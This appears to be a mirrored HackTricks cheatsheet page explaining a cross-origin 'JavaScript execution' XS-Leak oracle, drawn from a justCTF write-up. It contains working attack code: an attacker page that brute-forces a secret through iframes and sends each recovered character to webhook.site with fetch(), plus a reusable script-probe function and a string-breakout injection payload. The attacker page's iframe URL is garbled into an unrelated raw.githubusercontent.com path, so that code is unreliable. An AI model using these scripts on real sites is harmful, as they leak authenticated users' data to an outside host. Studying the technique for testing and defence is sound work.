daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

javascript-execution-xs-leak.md (9659B)


      1 ---
      2 title: "JavaScript Execution XS Leak"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/xs-search/javascript-execution-xs-leak.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xs-search/javascript-execution-xs-leak.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # JavaScript Execution XS Leak
     14 
     15 This XS-Search primitive turns **whether a cross-origin response executes as JavaScript** into a **Boolean oracle**.<sup>[[1]](#references)</sup>
     16 
     17 The usual setup is:
     18 
     19 - **Positive state**: the target returns attacker-controlled text or sensitive content that does **not** execute as attacker JavaScript.
     20 - **Negative state**: the target reflects attacker-controlled text into a place that is parsed as valid JavaScript, so the attacker can force a callback such as `window.parent.foo()`.
     21 - **Leak**: load the target with a classic `<script src>` and observe whether the callback fires.
     22 
     23 This is basically an **execution oracle**, not a timing oracle. The only thing the attacker needs is a **cross-origin script inclusion** that behaves differently depending on the secret-dependent branch.
     24 
     25 For the generic XS-Leaks background, see:
     26 
     27 [Readme](/hacktricks/pentesting-web/xs-search/overview)
     28 
     29 ## When This Works
     30 
     31 This technique is practical when all of the following are true:
     32 
     33 - The victim is authenticated to the target origin.
     34 - The attacker can make the victim browser request a **classic script** from the target origin.
     35 - One branch returns content that is **valid attacker-controlled JavaScript**.
     36 - The other branch returns content that **does not execute the attacker callback**.
     37 
     38 In practice, the easiest cases are search/debug endpoints that:
     39 
     40 - return attacker-controlled text when a guess is wrong
     41 - return a different body when the guess is right
     42 - let the attacker choose a parameter such as `callback`, `hint`, `msg`, or a reflected prefix/suffix
     43 
     44 ## Basic Example
     45 
     46 Server-side code that will try `${guess}` as a flag prefix:
     47 
     48 ```javascript
     49 app.get("/guessing", function (req, res) {
     50   let guess = req.query.guess
     51   let page = `<html>
     52                 <head>
     53                     <script>
     54                             function foo() {
     55                                 // If not the flag this will be executed
     56                                 window.parent.foo()
     57                             }
     58                         </script>
     59                     <script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
     60                 </head>
     61                 <p>hello2</p>
     62                 </html>`
     63   res.send(page)
     64 })
     65 ```
     66 
     67 Main page that generates iframes to the previous `/guessing` page to test each possibility:
     68 
     69 ```html
     70 <html>
     71   <head>
     72     <script>
     73       let candidateIsGood = false
     74       let candidate = ""
     75       let flag = "bi0sctf{"
     76       let guessIndex = -1
     77 
     78       let flagChars =
     79         "_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"
     80 
     81       // this will get called from our iframe IF the candidate is WRONG
     82       function foo() {
     83         candidateIsGood = false
     84       }
     85 
     86       timerId = setInterval(() => {
     87         if (candidateIsGood) {
     88           flag = candidate
     89           guessIndex = -1
     90           fetch("https://webhook.site/<yours-goes-here>?flag=" + flag)
     91         }
     92 
     93         // Start with true and change to false if the guess is wrong
     94         candidateIsGood = true
     95         guessIndex++
     96         if (guessIndex >= flagChars.length) {
     97           fetch("https://webhook.site/<yours-goes-here>")
     98           return
     99         }
    100         let guess = flagChars[guessIndex]
    101         candidate = flag + guess
    102         let iframe = `<iframe src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//guessing%3Fguess%3D%24%7BencodeURIComponent%28%0A%20%20%20%20%20%20%20%20%20%20candidate%0A%20%20%20%20%20%20%20%20%29%7D"></iframe>`
    103         hack.innerHTML = iframe
    104       }, 500)
    105     </script>
    106   </head>
    107   <p>hello</p>
    108   <div id="hack"></div>
    109 </html>
    110 ```
    111 
    112 The attacker logic is:<sup>[[2]](#references)</sup>
    113 
    114 1. Start every candidate as "good".
    115 2. Load the target response as a script.
    116 3. If the response executes `window.parent.foo()`, mark the candidate as wrong.
    117 4. If no callback fires, keep the candidate and continue brute-forcing.
    118 
    119 ## Minimal Probe Pattern
    120 
    121 In many real targets, an iframe is not required. A direct script inclusion is enough:<sup>[[1]](#references)</sup>
    122 
    123 ```html
    124 <script>
    125   let hit = true
    126   function miss() {
    127     hit = false
    128   }
    129 
    130   function probe(url) {
    131     return new Promise((resolve) => {
    132       hit = true
    133       const s = document.createElement("script")
    134       s.src = url
    135       s.onload = () => resolve(hit)
    136       s.onerror = () => resolve(false)
    137       document.head.appendChild(s)
    138     })
    139   }
    140 </script>
    141 ```
    142 
    143 If the "wrong guess" branch reflects `miss()`, then:
    144 
    145 - `probe(...) === false` means the callback executed or the load failed
    146 - `probe(...) === true` means the script loaded without running the attacker callback
    147 
    148 For reliability, use a **fresh script element per probe** and add a **cache-buster** such as `?r=${crypto.randomUUID()}`.
    149 
    150 ## Modern Caveats
    151 
    152 ### It must be a classic script
    153 
    154 This primitive relies on the browser fetching the resource as a **classic script**. A plain `<script src=...>` without `crossorigin` is fetched in `no-cors` mode, which is exactly why this old pattern is still useful cross-origin.
    155 
    156 Do **not** switch to `type="module"` for this technique:
    157 
    158 - cross-origin **module scripts require CORS**
    159 - many targets that are includable as classic scripts will simply fail as modules
    160 
    161 ### MIME type and `nosniff` decide whether the payload executes
    162 
    163 Current browsers are stricter than older writeups. If the target sets `X-Content-Type-Options: nosniff`, the browser will block a script response whose MIME type is not a JavaScript MIME type.
    164 
    165 That means this oracle often depends on:
    166 
    167 - whether the target returns `application/javascript` / `text/javascript`
    168 - whether the target returns `text/plain`, `text/html`, or JSON
    169 - whether `nosniff` is present
    170 
    171 This is also why some endpoints only give a leak in one branch: one response is accepted as script, while the other branch is blocked or parsed differently.
    172 
    173 ### CORB can change the observable result
    174 
    175 CORB adds another branch to think about. If a response is considered CORB-protected, Chromium may turn it into an **empty valid script response** instead of surfacing a parse failure. So for some endpoints:
    176 
    177 - one state triggers a normal script parse / callback
    178 - another state becomes an empty script and only `onload` fires
    179 
    180 That is still a useful oracle, but the signal is now **callback vs no callback** or **onload vs onerror**, not just "JavaScript executed or not".
    181 
    182 ### CSP can kill the attacker-controlled branch
    183 
    184 Strict CSP on the **target response** can break this primitive when the reflected branch is no longer executable JavaScript. Public XS-Leak challenge writeups from 2022 to 2024 repeatedly rely on this detail:
    185 
    186 - `script-src 'none'` can force attackers to pivot away from a direct execution oracle
    187 - CSP/SRI/CSP-report interactions can still create **other** leak oracles, but those belong to different pages/techniques
    188 
    189 So when the obvious callback trick does not work, inspect response headers before discarding the endpoint.
    190 
    191 ## Useful Variants
    192 
    193 ### Callback-parameter endpoints
    194 
    195 The most convenient target is a JSONP-style or debug endpoint that accepts a parameter such as:
    196 
    197 - `callback=...`
    198 - `cb=...`
    199 - `jsonp=...`
    200 - `hint=...`
    201 - `msg=...`
    202 
    203 If the "miss" branch reflects that value verbatim into executable JavaScript while the "hit" branch returns different content, you get a direct Boolean oracle with no timing measurement.
    204 
    205 ### Syntax-preserving prefixes and suffixes
    206 
    207 Sometimes you cannot fully control the response body, but you can still make the negative branch execute:
    208 
    209 - close the current string or function argument
    210 - inject the callback
    211 - comment out the trailing bytes
    212 
    213 For example, a reflected branch like:
    214 
    215 ```javascript
    216 showResult("<attacker>");
    217 ```
    218 
    219 can often be turned into:
    220 
    221 ```javascript
    222 showResult("");window.parent.foo();//");
    223 ```
    224 
    225 If the positive branch does not reflect that payload, the callback becomes the oracle.
    226 
    227 ### Combining with event-based oracles
    228 
    229 If the endpoint is unstable across browsers, mix the execution oracle with the generic script load events already covered in the section index:<sup>[[1]](#references)</sup>
    230 
    231 - callback fired
    232 - `onload`
    233 - `onerror`
    234 
    235 This is especially useful when one branch yields valid JavaScript and another branch yields blocked MIME / CORB / CSP behavior.
    236 
    237 Related pages:
    238 
    239 - [Cookie Bomb + Onerror XS Leak](/hacktricks/pentesting-web/xs-search/cookie-bomb-onerror-xs-leak)
    240 - [performance.now example](/hacktricks/pentesting-web/xs-search/performance-now-example)
    241 
    242 ## Practical Notes
    243 
    244 - Prefer **one bit per request** and keep the callback side effect simple.
    245 - If you probe many candidates, remove previously inserted `<script>` elements or isolate each attempt in a fresh iframe.
    246 - Cache and service worker behavior can poison the oracle; use cache-busting.
    247 - This primitive is strongest when the negative branch is **fully attacker-controlled JavaScript**. If you only get partial reflection, the exploit becomes a payload-shaping problem rather than an XS-Search problem.
    248 
    249 ## References
    250 
    251 - [1] [XS-Leaks Wiki: Error Events](https://xsleaks.dev/docs/attacks/error-events/)
    252 - [2] [justCTF 2022 XS-Leak Writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)